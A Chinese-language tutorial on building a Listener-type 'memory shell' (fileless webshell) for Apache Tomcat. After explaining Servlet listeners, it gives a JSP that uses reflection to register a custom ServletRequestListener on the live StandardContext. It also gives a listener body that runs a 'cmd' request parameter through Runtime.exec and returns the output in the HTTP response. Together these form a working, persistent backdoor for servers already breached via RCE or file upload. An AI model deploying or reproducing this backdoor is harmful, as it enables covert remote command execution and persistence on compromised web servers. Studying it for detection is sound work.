Java内存马
Tomcat
在描述Tomcat
内存马前,先谈谈Java
、Servlet
、Tomcat
这三者的关系
在 Java Web 开发中,Servlet
类是处理 HTTP
请求的核心组件,它提供了许多公开的函数,常用的有 doGet
和 doPost
方法,这些方法用于处理 HTTP
请求的不同类型(Get
、Post
)。
通过Servlet-Api
编写的java
程序需要在Servlet
容器中运行,而Tomcat
实现了Servlet
规范,能够加载和运行 Servlet
,开启web
服务。
Listener型内存马
在Servlet
的官方文档中存在很多listener
监听器
其中有一些监听器都是针对于用户的某个操作类型,比如针对于用户读取文件时,监听器ReadListener
发挥作用,当用户写文件时,监听器WriteListener
发挥作用,这些只是片面的,如果将ReadListener
制作成内存马,只能在读文件时才能执行木马功能,很局限
ReadListener
定义了3种方法,当读取的文件判断可读时调用onDataAvailable
方法,当读取全部文件后调用onAllDataRead
方法,当发生错误时调用onError
方法
WriteListener
定义了2种方法,当文件可写时调用onWritePossible
方法,当发生错误时调用onError
方法
而如果在用户访问任意功能接口时,有一个监听器的方法都会执行,那结果如何呢?
ServletRequestListener
定义了2种方法,当用户访问任意路由接口时调用requestInitialized
方法,当后端程序处理接口请求完成后调用requestDestroyed
方法
ServletRequestListener
会监听Tomcat
的每个服务接口,用来做内存马
再合适不过了
通俗来说内存马注入
就是将恶意代码注入内存,而注入内存马的前提是需要有执行脚本语言的权限,需要发现执行java
代码的漏洞(RCE
、文件上传
)
通过执行一串java
代码为Tomcat
添加一个ServletRequestListener
,其中ServletRequestListener
中的方法是我们自定义的,这就是Tomcat
的Listener
型内存马的原理
jsp
脚本生成ServletRequestListener
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="javax.servlet.*" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %>
<%! public class TocmatListener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { System.out.println("请求初始化: " + sre.getServletRequest()); } public void requestDestroyed(ServletRequestEvent sre) { System.out.println("请求销毁: " + sre.getServletRequest()); } } %>
<% Field Field = request.getClass().getDeclaredField("request"); Field.setAccessible(true); Request req = (Request) Field.get(request); StandardContext context = (StandardContext) req.getContext(); TocmatListener listener = new TocmatListener(); context.addApplicationEventListener(listener); %>
|
RCE
public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } }
|